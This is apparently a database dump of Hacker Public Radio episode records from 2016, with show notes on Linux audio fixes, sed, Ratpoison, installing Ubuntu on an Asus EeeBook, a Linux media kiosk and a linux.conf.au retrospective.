(1980,'2016-03-04','Fixing An Audio Problem while having a rant',593,'Describing how I solved an audio problem while having a rant about automation limiting control','<p>This podcast details how I solved an audio problem I discovered while trying to record another episode for HPR. I\'ll hopefully get around to recording my original idea at a later date.</p>\r\n<p>The recording was done in a bit of a hurry and I was a bit flustered so please excuse the fast talking and ranting.</p>\r\n<p>Link to article that solved my problem <a href=\"https://blog.tiger-workshop.com/ubuntu-rear-microphone-not-working-on-ad1988b-sound-chip/\" class=\"uri\">https://blog.tiger-workshop.com/ubuntu-rear-microphone-not-working-on-ad1988b-sound-chip/</a></p>\r\n<p>Command I used to install the app that solved my audio problem. App is from the standard Ubuntu 14.04 repo</p>\r\n<pre><code>sudo apt-get install alsa-tools-gui</code></pre>\r\n<p>Command to run from terminal to launch gui tool that solved the problem</p>\r\n<pre><code>hdajackretask</code></pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://blog.tiger-workshop.com/ubuntu-rear-microphone-not-working-on-ad1988b-sound-chip/\" class=\"uri\">https://blog.tiger-workshop.com/ubuntu-rear-microphone-not-working-on-ad1988b-sound-chip/</a></li>\r\n</ul>\r\n',201,0,0,'CC-BY-SA','Audio, Hardware, Linux',0,0,1),
(1982,'2016-03-08','Whats in my virtual bag',1710,'The usual programs I use everyday in my system','<p>Programs mentioned:</p>\r\n<ul>\r\n<li><p>Puppy Linux<br />\r\n<a href=\"https://murga-linux.com/puppy\" class=\"uri\">https://murga-linux.com/puppy</a></p></li>\r\n<li><p>Ratpoison WM<br />\r\n<a href=\"https://www.nongnu.org/ratpoison/doc/index.html#Top\">https://www.nongnu.org/ratpoison/doc/index.html</a></p></li>\r\n<li><p>Sakura Terminal<br />\r\n<a href=\"https://launchpad.net/sakura\" class=\"uri\">https://launchpad.net/sakura</a></p></li>\r\n<li><p>Vim<br />\r\n<a href=\"https://www.vim.org/\" class=\"uri\">https://www.vim.org/</a></p></li>\r\n<li><p>The Vim Outliner<br />\r\n<a href=\"https://github.com/vimoutliner/vimoutliner/downloads\" class=\"uri\">https://github.com/vimoutliner/vimoutliner/downloads</a></p></li>\r\n</ul>\r\n',323,23,1,'CC-BY-SA','Basic setup, Linux, Power user, Vim, Ratpoison, Sakura, Puppy Linux',0,0,1),
(1986,'2016-03-14','Introduction to sed - part 2',3678,'Some more about the GNU sed command','<h1 id=\"introduction-to-sed---part-2\">Introduction to sed - part 2</h1>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" title=\"Introduction to sed - part 1\">last episode</a> we looked at <code>sed</code> at the simplest level. We looked at three command-line options and the \'<em>s</em>\' command. We introduced the idea of basic <em>regular expressions</em>.</p>\r\n<p>In this episode we will cover all of these topics in more detail.</p>\r\n<p>We are looking at GNU <code>sed</code> in this series. This version contains many extensions to POSIX <code>sed</code>. These extensions provide many more features, but <code>sed</code> scripts written this way are not portable.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html</a></p>\r\n<p><strong>Note:</strong> Since recording the audio I have added a sixth example to the full notes to cover the topic of word boundaries, which I had omitted at the time.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>Introduction to sed - part 1</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1976</a></li>\r\n<li>GNU <code>sed</code> manual:\r\n<ul>\r\n<li>HTML Manual: <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html</a></li>\r\n<li>Section on <em>Invocation</em>: <a href=\"https://www.gnu.org/software/sed/manual/sed.html#Invoking-sed\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html#Invoking-sed</a></li>\r\n<li>Section on <em>Escapes in Regular expressions</em>: <a href=\"https://www.gnu.org/software/sed/manual/sed.html#Escapes\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html#Escapes</a></li>\r\n</ul></li>\r\n<li>\"<em>Sed - An Introduction and Tutorial</em>\" by Bruce Barnett: <a href=\"https://www.grymoire.com/Unix/Sed.html\" class=\"uri\">https://www.grymoire.com/Unix/Sed.html</a></li>\r\n<li>Wikipedia entry for <code>sed</code>: <a href=\"https://en.wikipedia.org/wiki/Sed\" class=\"uri\">https://en.wikipedia.org/wiki/Sed</a></li>\r\n<li>Example files for processing:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html</a> (extracted from <a href=\"https://hackerpublicradio.org/about.php\" class=\"uri\">https://hackerpublicradio.org/about.php</a>)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1986/sed_demo2.txt\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1986/sed_demo2.txt</a> (downloaded from <a href=\"https://hackerpublicradio.org/stats.php\" class=\"uri\">https://hackerpublicradio.org/stats.php</a>)</li>\r\n</ul></li>\r\n</ul>',225,90,1,'CC-BY-SA','sed,stream editor,option,regular expression,substitution',0,0,1),
(1987,'2016-03-15','Pomodoro Timer - The Evolution of a Script (pt 1)',1327,'The different stages of a bash script that was created accidentally','<ul>\r\n<li><p>The technique that started everything:<br />\r\n<a href=\"https://www.pomodorotechnique.com/\" class=\"uri\">https://www.pomodorotechnique.com/</a></p></li>\r\n<li><p>The Pomodoro timer I used first, efficient, but left me stuck from one day to the other:<br />\r\n<a href=\"https://www.tomato-timer.com/\" class=\"uri\">https://www.tomato-timer.com/</a></p></li>\r\n</ul>',323,42,0,'CC-BY-SA','Productivity, Bash basics, Programming design, Pomodoro, Timer, loops, sleep',0,0,1),
(1990,'2016-03-18','Pomodoro Timer - The Evolution of a Script part deux',1734,'Further evolutions of a pomodoro script that got a life of its own','<p>\r\nThe Script: <a href=\"https://hackerpublicradio.org/eps/hpr1990.bash\">https://hackerpublicradio.org/eps/hpr1990.bash</a>\r\n</p>\r\n',323,42,0,'CC-BY-SA','Productivity, Bash basics, Programming design, Pomodoro, Timer, loops, sleep',0,0,1),
(1983,'2016-03-09','Review of Sony Vaio VPC',2019,'Sony vaio is discussed','<ul>\r\n<li>i3 cpu</li>\r\n<li>4 gb ram (can go up to 8 gb)</li>\r\n<li>5400 rpm hdd</li>\r\n<li>linux mint 17.3</li>\r\n</ul>',297,0,0,'CC-BY-SA','linux, sony vaio, laptop',0,0,1),
(1984,'2016-03-10','A Love Letter to linux.conf.au',595,'Why I\'ve been to fifteen linux.conf.au conferences','<p>Linux.conf.au, is the name and website of my favourite conference. Known by insiders as simply lca, it is an annual technical conference, focusing on Linux and Open Source technologies. LCA is a roaming conference, going to a different city of Australia and New Zealand every year. I\'ve helped organise the two lca\'s in my home town of Brisbane, Queensland, and it was in fact the first of these that introduced me to lca. This year lca was held in Geelong, down in the state of Victoria and it counts as my fifteenth linux.conf.au. Clearly this conference has become quite a big part of my life and it\'s probably a mature thing to stand back and have a look at why.</p>\r\n<p>lca is a technical conference, it\'s not a sales oriented conference, as an engineer having non-salesy, technical content makes me feel at home. For the most part, the paper committee only accept talks from people directly working on a project, so the speakers we select know their topic. lca is explicitly an open source conference, and mostly a low level conference.</p>\r\n<p>lca is a week long conference, so I often add some extra time on the end to make a holiday out of it. A fair percentage of our attendees are from overseas, and it makes sense for them to do the same. I have taken the train to a Perth (Western Australia) lca, that\'s the Indian Pacific train, a three day trip from one side of the country to the other. I\'ve done a day trip on a train in New Zealand, from Auckland to Wellington. I\'ve done a couple of motorcycle trips, down to Ballarat and Geelong (both cities in the state of Victoria). Those two tours are roughly a 3600km (or 2200 mile) round trips taking three to four days each way.</p>\r\n<p>I\'ve done a motorcycle tour of Tasmania (an island state of Australia) after a Tasmanian lca. Next year, the conference is back in Tasmania for the Hobart lca, I\'m planning on doing a week long hike of about 85kms (50 odd miles) before the conference along the South Coast Track.</p>\r\n<p>There are a bunch of people that I only get to see at lca, from year to year, sadly some of these come from my own home town. Keeping these connections strong is an important part of lca for me.</p>\r\n<p>Every year, the parent organisation of lca, Linux Australia holds their Annual General Meeting during lca. I\'ve been an Ordinary committee member on the Linux Australia council a couple of times now. This year I didn\'t get enough votes, which means I have more time to devote to other things, like HPR recordings :)</p>\r\n<p>Registration for lca normally starts Sunday afternoon, there\'s often a beginners guide to the conference. After fifteen years, I don\'t think I\'ve ever attended one, but I should probably help lead it next year..</p>\r\n<p>It\'s very common for lca to choose a charity to raise money for. For many years this meant a loud, long, often raucous auction. In recent years we\'ve had a raffle over the full length of the conference. We\'ve helped many worthy charities over the years, the one that comes to mind was the \'Save the Tasmanian Devils\' fund, for which we raised a substantial amount of money, something around forty thousand dollars, partly based on the auction prize of changing the linux\'s kernel logo from Tux to Tuz, the lca mascot for that year. Tuz is a Tasmanian devil wearing a costume Penguin beak to cover over his case of the Devil Facial Tumour Disease, a communicable cancer, that is threatening their existence. This was also the conference where Linus shaved bDale\'s beard off to raise money for the charity.</p>\r\n<p>We often hold lca at a university, and we often use student dormitories as accommodation. If we\'re lucky, this means that a large percentage of attendees can meet up in common areas of the accommodation at the end of the day and continue the conference long into the night. A particularly memorable lca on this front, somewhere in New Zealand, I forget which city, had a whole level of a student accommodation centre set aside as a common area, so a large percentage of the conference were able to fit and continue the conference late into the evening.</p>\r\n<p>The first two days of the conference are generally reserved for miniconferences, or miniconfs as we refer to them. These miniconfs go for one or two days and are organised around a particular topic, and separately to the main conference. The miniconfs change every year, but commonly include miniconfs focused on the kernel (this is primarily attended by kernel coders), hardware (based around ardunio, raspi, and this year espy), multimedia and music, sysadmin, OpenRadio, Open Source in Government. A highlight from the second Brisbane lca was the rocketry miniconf, where 25 odd rockets were put together and later launched. We\'ve been blessed over the years to have miniconfs working to improve and enlarge our community, including LinuxChix, Haecksen and the Community Leadership Summits.</p>\r\n<p>After the miniconf days are done, the conference proper begins. These days start off with a keynote, have four or more streams of talks during the day, with longer tutorials running for half the day.</p>\r\n<p>My favourite keynote from this year was Genevieve Bell, from Intel. From previous years, Tim Berners Lee, Eben Moglen and Kathy Sierra have left long term marks. These are people who have fundamentally created the world I live and work in now, their contributions cannot be understated.</p>\r\n<p>There are a bunch of talks from every year that change the way I think about something, or the way I work. This year, I reckon the Record/Replay talk will probably change the way I debug programs. RR is a Mozilla tool, you run the buggy program under rr, which records exactly what the system calls the program runs, what state effects the program has, then you run that recording under the standard debugger, gdb. Typically with gdb you can only step forwards into the program, but with rr you can actually step back in time as well!</p>\r\n<p>A hardware talk that really caught my attention this year was the Linux Microwave, a regular microwave with a set of scales and a thermal imaging camera added, so that whenever you heat/warm/defrost something, the microwave will never ever burn/under/over cook the food!</p>\r\n<p>The other bit of hardware that I feel warrants a mention was the large loom that one of our venues, the National Wool Museum was built around. It is programmed by a large bunch of punch cards! There\'s always local attractions that add something to the conference.</p>\r\n<p>During the week, ad-hoc groups form around common interests, we call these Birds-of-feather sessions. I usually end up attending the Emacs BoF. A recurring BoF is the jobs BoF, where employers and hopeful employees come together.</p>\r\n<p>I don\'t tend to attend too many tutorials myself. A number of years back I ran a tutorial on Antlr, a recursive descent parser toolkit.</p>\r\n<p>There are a number of social events that happen most years, the conference dinner, the speakers dinner, and the professionals session. These events target the different audiences at the conference. A favourite spin on this was during a Melbourne lca where diners were given food and drink tokens to use around a market, rather than a traditional sit down dinner. The speakers dinner is a smaller, more private thank you to the speakers, many of whom have flown in from overseas. The professionals session tends to be the most varied, as it tends not be a full meal, but just a place where folks can meet, greet and swap business cards.</p>\r\n<p>I can\'t say it\'s always been a bed of roses, I\'ve had a couple of hospital trips over the years, one for myself where, along with almost half of the conference, I came down with the dreaded noro-virus, a gastro bug that is prevalent on cruise ships. During another lca when I was chaperoning another attendee to hospital I figured my lca was over, but then I struck up a conversation with our ambulance driver, and it turned out he\'d been working on pdp-11s during his uni days!</p>\r\n<p>The other awful lca experience I have to mention was the flooding that occurred just one week prior to our second Brisbane lca. All of our venues were affected, some were destroyed completely. We had to shift our main venue about 5kms up the road, hire buses, find new caterers at the last minute, a whole world of pain.</p>\r\n<p>For many years now, most of our talks have been recorded, using our own recording system. All of these videos are up on the Linux Australia server and youtube. This means that weeks, months after the conference is finished, I find myself watching a recording that someone has recommended, and it takes me back to that one week in every year where the world makes sense to me.</p>\r\n<p>As I mentioned previously, the next linux.conf.au is in Hobart, January 2017, I hope to see some hpr listeners there.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://mirror.linux.org.au/linux.conf.au/\" class=\"uri\">https://mirror.linux.org.au/linux.conf.au/</a></li>\r\n<li><a href=\"https://www.youtube.com/user/linuxconfau2016\" class=\"uri\">https://www.youtube.com/user/linuxconfau2016</a></li>\r\n</ul>',315,0,0,'CC-BY-SA','linux, open source, conference',0,0,1),
(1993,'2016-03-23','Can your window manager do this?',2022,'Where I show off my Ratpoison configurations','<ul>\r\n<li><p>Ratpoison main site: <a href=\"https://www.nongnu.org/ratpoison/index.html#dir\">https://www.nongnu.org/ratpoison/index.html</a></p></li>\r\n<li><p>RPbar (add-on for program bar functionality): <a href=\"https://github.com/dimatura/rpbar\" class=\"uri\">https://github.com/dimatura/rpbar</a></p></li>\r\n<li><p>Patch to get color in current window: <a href=\"https://lists.nongnu.org/archive/html/ratpoison-devel/2008-08/msg00001.html\" class=\"uri\">https://lists.nongnu.org/archive/html/ratpoison-devel/2008-08/msg00001.html</a></p></li>\r\n<li><p>Simple Puppy Menu: Start menu functionality, for Puppy Linux distributions (based in aemenu or mygtkmenu): <a href=\"https://www.murga-linux.com/puppy/viewtopic.php?p=885559\" class=\"uri\">https://www.murga-linux.com/puppy/viewtopic.php?p=885559</a></p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.nongnu.org/ratpoison/index.html#dir\">https://www.nongnu.org/ratpoison/index.html</a></li>\r\n<li><a href=\"https://github.com/dimatura/rpbar\" class=\"uri\">https://github.com/dimatura/rpbar</a></li>\r\n<li><a href=\"https://lists.nongnu.org/archive/html/ratpoison-devel/2008-08/msg00001.html\" class=\"uri\">https://lists.nongnu.org/archive/html/ratpoison-devel/2008-08/msg00001.html</a></li>\r\n<li><a href=\"https://www.murga-linux.com/puppy/viewtopic.php?p=885559\" class=\"uri\">https://www.murga-linux.com/puppy/viewtopic.php?p=885559</a></li>\r\n</ul>',323,0,0,'CC-BY-SA','Ratpoison, Window Manager, Puppy Linux, customization',0,0,1),
(1996,'2016-03-28','Xdotool magic',1082,'Overview and a few usage possibilities of the Xdotool program','<ul>\r\n<li><p>Xdotool home: <a href=\"https://www.semicomplete.com/projects/xdotool\" class=\"uri\">https://www.semicomplete.com/projects/xdotool</a></p></li>\r\n<li><p>Dr. Bunsen\'s file naming convention: <a href=\"https://www.drbunsen.org/naming-and-searching-files-part-1/\" class=\"uri\">https://www.drbunsen.org/naming-and-searching-files-part-1/</a></p></li>\r\n</ul>\r\n',323,11,0,'CC-BY-SA','Xdotool, Automation, Productivity, File naming, Time stamps',0,0,1),
(1991,'2016-03-21','Adventures installing Linux on an Asus EeeBook X205A',1065,'Installation instructions from lessons learned the hard way.','<h1 id=\"high-level-steps-to-install-ubuntu-mate-on-the-asus-eeebook-x205a\">High-level steps to install Ubuntu Mate on the <a href=\"https://www.asus.com/Notebooks/ASUS_EeeBook_X205TA/\">Asus Eeebook X205A</a></h1>\r\n<blockquote>\r\n<p>Information compiled from <a href=\"https://www.jfwhome.com/2016/01/04/latest-steps-to-install-ubuntu-on-the-asus-t100ta/\">Here</a>, <a href=\"https://github.com/lopaka/instructions/blob/master/ubuntu-14.10-install-asus-x205ta.md\">Here</a>, and <a href=\"https://wiki.debian.org/InstallingDebianOn/Asus/X205TA\">Here</a></p>\r\n</blockquote>\r\n<h3 id=\"download-and-create-startup-disk\">Download and create startup disk</h3>\r\n<p>Download the 64-bit version of the iso, then create a bootable USB. I recommend using <a href=\"https://dcfldd.sourceforge.net/\">dcfldd</a>.</p>\r\n<h3 id=\"getting-grub-32-bit\">Getting grub 32-bit</h3>\r\n<p>Compile or download grubia32.efi (see links), then move it into the /EFI/BOOT directory on the USB.</p>\r\n<h3 id=\"installation\">Installation</h3>\r\n<p>Boot from the disk (assuming you already disabled secure boot from the BIOS). Install the system as you like.</p>\r\n<h3 id=\"first-boot\">First Boot</h3>\r\n<p>Reboot, but leave in USB. Type <code>c</code> when grub loads, then enter in:</p>\r\n<pre><code>linux (hd1,gpt2)/boot/vmlinuz.... root=/dev/mmcblk0p2\r\ninitrd (hd1,gpt2)/boot/initrd....\r\nboot</code></pre>\r\n<h3 id=\"wi-fi\">Wi-Fi</h3>\r\n<p>To get wi-fi working, put in terminal:</p>\r\n<pre><code>sudo cp /sys/firmware/efi/efivars/nvram-XXXXXX /lib/firmware/brcm/brcmfmac43340-sdio.txt</code></pre>\r\n<p>Then reload the brcmfmac driver:</p>\r\n<pre><code>sudo modprobe -r brcmfmac\r\nsudo modprobe brcmfmac</code></pre>\r\n<h3 id=\"fix-bootloader\">Fix bootloader</h3>\r\n<p>Fix Bootloader with the following commands as root:</p>\r\n<pre><code>sudo apt-get install git bison libopts25 libselinux1-dev autogen m4 autoconf help2man libopts25-dev flex libfont-freetype-perl automake autotools-dev libfreetype6-dev texinfo\r\n\r\n# from https://www.gnu.org/software/grub/grub-download.html\r\ngit clone git://git.savannah.gnu.org/grub.git\r\n\r\ncd grub\r\n\r\n./autogen.sh\r\n\r\n./configure --with-platform=efi --target=i386 --program-prefix=\"\"\r\n\r\nmake\r\n\r\ncd grub-core\r\nsudo su\r\n../grub-install -d . --efi-directory /boot/efi/ --target=i386\r\ncd /boot/efi/EFI\r\ncp grub/grubia32.efi ubuntu/\r\nexit</code></pre>\r\n<p>Then, we can just install grub-efi-ia32:</p>\r\n<pre><code>sudo apt-get update\r\nsudo apt-get install grub-efi-ia32</code></pre>\r\n<p>Edit the grub configuration file:</p>\r\n<pre><code>sudo nano /etc/default/grub</code></pre>\r\n<p>Find the line starting <code>GRUB_CMDLINE_LINUX_DEFAULT</code> and add <code>intel_idle.max_cstate=1</code> before <code>quiet splash\"</code>.</p>\r\n<p>Then ctrl-o, ctrl-x to save &amp; exit, and type: <code>sudo update-grub</code> to update Grub.</p>\r\n<p>Remove the USB stick and reboot, and you should now have a self-sufficient booting system.</p>\r\n<h3 id=\"conflict-between-sdhci-acpi-and-brcmfmac\">Conflict between sdhci-acpi and brcmfmac</h3>\r\n<p>Due to some conflict between sdhci-acpi and brcmfmac (https://bugzilla.kernel.org/show_bug.cgi?id=88061), a parameter has to be changed for the sdhci-acpi driver. There are several ways to do this, but a quick fix is to add this line in /etc/sysfs.conf (make sure you have the package sysfsutils installed), this way the option is passed before the brcmfmac driver is loaded :</p>\r\n<pre><code># Disable SDHCI-ACPI for Wireless, otherwise WLAN doesn\'t work\r\nbus/platform/drivers/sdhci-acpi/INT33BB:00/power/control = on</code></pre>\r\n<h3 id=\"microsd-card-reader\">microSD Card Reader</h3>\r\n<p>Create a file /etc/modprobe.d/sdhci.conf with the following content:</p>\r\n<pre><code># Adjustment to make micro SD card reader work\r\noptions sdhci debug_quirks=0x8000</code></pre>\r\n<p>Then run</p>\r\n<pre><code>update-initramfs -u -k all</code></pre>\r\n<p>After a reboot the card reader should be working.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.asus.com/Notebooks/ASUS_EeeBook_X205TA/\">https://www.asus.com/Notebooks/ASUS_EeeBook_X205TA/</a></li>\r\n<li><a href=\"https://www.jfwhome.com/2016/01/04/latest-steps-to-install-ubuntu-on-the-asus-t100ta/\">https://www.jfwhome.com/2016/01/04/latest-steps-to-install-ubuntu-on-the-asus-t100ta/</a></li>\r\n<li><a href=\"https://github.com/lopaka/instructions/blob/master/ubuntu-14.10-install-asus-x205ta.md\">https://github.com/lopaka/instructions/blob/master/ubuntu-14.10-install-asus-x205ta.md</a></li>\r\n<li><a href=\"https://wiki.debian.org/InstallingDebianOn/Asus/X205TA\">https://wiki.debian.org/InstallingDebianOn/Asus/X205TA</a></li>\r\n<li><a href=\"https://dcfldd.sourceforge.net/\">https://dcfldd.sourceforge.net/</a></li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','Ubuntu Mate,Asus Eeebook X205A',0,0,1),
(2003,'2016-04-06','Using the Incron file watching daemon',698,'I briefly introduce the incron file watching daemon, and give an example of how I use it.','<h1 id=\"using-the-incron-file-watching-daemon\">Using the Incron file watching daemon</h1>\r\n<blockquote>\r\n<p>Check out the <a href=\"https://linux.die.net/man/5/incrontab\">man page</a> for incron and also <a href=\"https://www.cyberciti.biz/faq/linux-inotify-examples-to-replicate-directories/\">this write-up</a> by Nixcraft.</p>\r\n</blockquote>\r\n<p>basic usage:</p>\r\n<p><code>incrontab -e</code></p>\r\n<p>In your editor of choice, follow this syntax:</p>\r\n<p><code>&lt;path-to-watch&gt; &lt;event mask&gt; command</code></p>\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://linux.die.net/man/5/incrontab\">https://linux.die.net/man/5/incrontab</a></li>\r\n<li><a href=\"https://www.cyberciti.biz/faq/linux-inotify-examples-to-replicate-directories/\">https://www.cyberciti.biz/faq/linux-inotify-examples-to-replicate-directories/</a></li>\r\n</ul>',300,42,1,'CC-BY-SA','incron,bash,watcher,daemon',0,0,1),
(1988,'2016-03-16','Linux from Scratch',425,'My experience of installing Linux from source','<ul>\r\n<li><a href=\"https://www.linuxfromscratch.org\" class=\"uri\">https://www.linuxfromscratch.org</a></li>\r\n<li><a href=\"https://www.linuxfromscratch.org/blfs\" class=\"uri\">https://www.linuxfromscratch.org/blfs</a></li>\r\n<li><a href=\"https://tldp.org/LDP/Pocket-Linux-Guide/html/index.html\" class=\"uri\">https://tldp.org/LDP/Pocket-Linux-Guide/html/index.html</a></li>\r\n<li><a href=\"https://www.nico.schottelius.org/software/gpm/archives/gpm-1.20.7.tar.bz2\" class=\"uri\">https://www.nico.schottelius.org/software/gpm/archives/gpm-1.20.7.tar.bz2</a></li>\r\n</ul>\r\n',326,0,0,'CC-BY-SA','Linux From Scratch',0,0,1),
(1989,'2016-03-17','WDTV Makes Me Itch',1880,'A step-by-step description of turning an old computer into a simple linux media appliance','<p>This half-hour-long episode describes the complete process for turning an old, limited thin-client terminal (an HP T5740) - and incidentally just about any other kind of hardware - into a simple automatic media-playing kiosk-style device, running VLC on a hand-made minimalist Arch Linux installation. I\'ve tried to describe the procedure I came up with in enough detail that anyone with a little bit of Linux experience can hopefully follow and potentially replicate the whole thing, but not so much detail that it gets horrifically tedious. Some of the extra details I glossed over in the audio are here in the show notes if you want them.</p>\r\n<p>This episode will <em>mostly</em> be of interest to people with a little bit of Linux experience, but may hopefully be interesting to a few others. Mac and Windows partisans take note: before you start giggling about how \"complicated\" it is to set up Linux as you listen to what I describe here, I will reiterate that I <em>chose</em> to do the install \"by hand\" like this, and I assure you a more typical Linux install is quite a bit simpler (having just spent several months brutally installing Windows systems on innocent computers, getting and ordinary Linux installation finished is not only easier but <em>faster</em>. (\"Windows is getting ready to start to prepare to configure updates. Please wait 5 hours and don\'t turn off your computer...\") So there.</p>\r\n<p>I\'m also going to try posting an \"enhanced\" version of this episode in .opus format with chapter markings and so on at my site: <a href=\"https://hpr.dogphilosophy.network\" class=\"uri\">https://hpr.dogphilosophy.network</a> Additional information may be found there as well, especially if anyone asks for it.</p>\r\n<h3 id=\"some-linuxable-hardware-i-mentioned\">Some Linuxable Hardware I Mentioned:</h3>\r\n<p>Installing linux on old computers, laptops, etc. is such a well-established tradition that I don\'t see any reason to hunt down specific examples, but I also mentioned:</p>\r\n<ul>\r\n<li>Dead Badgers:<br />\r\n<a href=\"https://www.strangehorizons.com/2004/20040405/badger.shtml\" class=\"uri\">https://www.strangehorizons.com/2004/20040405/badger.shtml</a></li>\r\n<li>Raspberry Pi:<br />\r\n<a href=\"https://archlinuxarm.org/platforms/armv6/raspberry-pi\" class=\"uri\">https://archlinuxarm.org/platforms/armv6/raspberry-pi</a></li>\r\n</ul>\r\n<p>I <em>assume</em> I don\'t need to explain that the Dead Badgers thing isn\'t <em>entirely</em> serious... It\'s not <em>entirely</em> a joke, either: <a href=\"https://www.instructables.com/id/Compubeaver---%3E-How-to-case-mod-a-beaver---in-29-e/\">https://www.instructables.com/id/Compubeaver---%3E-How-to-case-mod-a-beaver---in-29-e/</a></p>\r\n\r\n<ul>\r\n<li>systemd-networkd config:<br />\r\n<a\r\nhref=\"https://wiki.archlinux.org/index.php/Systemd-networkd#Basic_DHCP_network\"\r\nclass=\"uri\">https://wiki.archlinux.org/index.php/Systemd-networkd#Basic_DHCP_network</a></li>\r\n</ul>\r\n<pre><code>[Match]\r\nName=en*\r\n\r\n[Network]\r\nDHCP=ipv4</code></pre>\r\n\r\n<p>Autostart X on tty1 only: <a href=\"https://wiki.archlinux.org/index.php/Xinitrc#Autostart_X_at_login\" class=\"uri\">https://wiki.archlinux.org/index.php/Xinitrc#Autostart_X_at_login</a></p>\r\n<pre><code>[[ -z $DISPLAY && $XDG_VTNR -eq 1 ]] && exec startx</code></pre>\r\n<p>I actually <em>have</em> also tried the \"web browser kiosk\" thing with the browser loading up a particular web page on start. It actually works just fine, except that the Windows DHCP server seems to be kind of slow, and if I just let the system start without checking the browser initially just shows an \"internet no work\" sort of message. I got around this nicely by adding a couple of steps to .xinitrc before starting the web browser. First, I created a graphic to use as an X background that just has text that indicates that it\'s waiting for the network to come up. Then, I put a loop in .xinitrc that checks for a hostname on the internet to see if it resolves to an IP yet, which would tell me the internet had come up. I didn\'t want to have to install any specific additional software utilities or, ideally, to have to do any special parsing. It turns out that you can just use \"getent ahosts4 google.com\" (or other internet hostname) as a test for this - it will return nothing if the name doesn\'t resolve, so you only need to test if the response is not a blank. I used \"sleep 1\" to pause one second between tries. Once the resolution returns something, I had xsetbg change the background graphic to a more appropriate default and continue starting the browser, the VNC server, etc.</p>\r\n<p>The .xinitrc for that looks like this:</p>\r\n<pre><code>if [ -d /etc/X11/xinit/xinitrc.d ] ; then\r\n    for f in /etc/X11/xinit/xinitrc.d/?* ; do\r\n        [ -x \"$f\" ] && . \"$f\"\r\n    done\r\n    unset -f\r\nfi\r\n\r\nxset s off\r\nxset -dpms\r\nxsetbg -fullscreen WaitingForNetwork.png\r\n#vlc --extraintf=http --http-host 0.0.0.0:8080 --http-password \'PutPasswordHere\' -L playlist.m3u &\r\n#Not sure this is necessary - chromium seems to retry on its own\r\nwhile [ `getent ahostsv4 google.com` -eq \'\']\r\ndo\r\n##wait one second then check again to see if network is up\r\nsleep 1\r\ndone\r\nxsetbg NetworkNowUp.png\r\n##The URL below is a \"test to see if you can connect to a conference\" link\r\nchromium --incognito --app=https://www3.gotomeeting.com/join/406552062 &\r\nx0vncserver -display :0 -passwordfile /home/tech/.vnc/passwd &\r\nexec openbox-session</code></pre>\r\n<p>If you have any questions or comments, you can leave them at either</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=1989\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1989</a></p>\r\n<p>or on my own blog at</p>\r\n<p><a href=\"https://hpr.dogphilosophy.net\" class=\"uri\">https://hpr.dogphilosophy.net</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://hpr.dogphilosophy.network\" class=\"uri\">https://hpr.dogphilosophy.network</a></li>\r\n<li><a href=\"https://www.strangehorizons.com/2004/20040405/badger.shtml\" class=\"uri\">https://www.strangehorizons.com/2004/20040405/badger.shtml</a></li>\r\n<li><a href=\"https://archlinuxarm.org/platforms/armv6/raspberry-pi\" class=\"uri\">https://archlinuxarm.org/platforms/armv6/raspberry-pi</a></li>\r\n<li><a href=\"https://www.instructables.com/id/Compubeaver---%3E-How-to-case-mod-a-beaver---in-29-e/\">https://www.instructables.com/id/Compubeaver---%3E-How-to-case-mod-a-beaver---in-29-e/</a></li>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/Systemd-networkd#Basic_DHCP_network\" class=\"uri\">https://wiki.archlinux.org/index.php/Systemd-networkd#Basic_DHCP_network</a></li>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/Xinitrc#Autostart_X_at_login\" class=\"uri\">https://wiki.archlinux.org/index.php/Xinitrc#Autostart_X_at_login</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1989\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1989</a></li>\r\n<li><a href=\"https://hpr.dogphilosophy.net\" class=\"uri\">https://hpr.dogphilosophy.net</a></li>\r\n</ul>\r\n',182,0,0,'CC-BY-SA','linux,tutorial,howto,appliance,kiosk,media,video,audio,vlc,hardware,reuse',0,0,1),
(2004,'2016-04-07','A First Look at the Owon B35T',2167,'You are along for the ride as NYbill takes his first look at another inexpensive multimeter.','<p>You are along for the ride as NYbill takes his first look at another inexpensive Multimeter.</p>\r\n<p>This is part 1 of a quick look at the Owon B35T True RMS multimeter with Bluetooth.</p>\r\n<ul>\r\n<li><p>The Owon B35T:<br />\r\n<a href=\"https://tinyurl.com/glgpe2f\" class=\"uri\">https://tinyurl.com/glgpe2f</a></p></li>\r\n<li><p>The Extech TL809 Probe set:<br />\r\n<a href=\"https://tinyurl.com/zmue2z5\" class=\"uri\">https://tinyurl.com/zmue2z5</a></p></li>\r\n<li><p>Pics for the episode:<br />\r\n<a href=\"https://tinyurl.com/zwabxt9\" class=\"uri\">https://tinyurl.com/zwabxt9</a></p></li>\r\n</ul>',235,103,0,'CC-BY-SA','multimeter,Bluetooth,RMS',0,0,1),
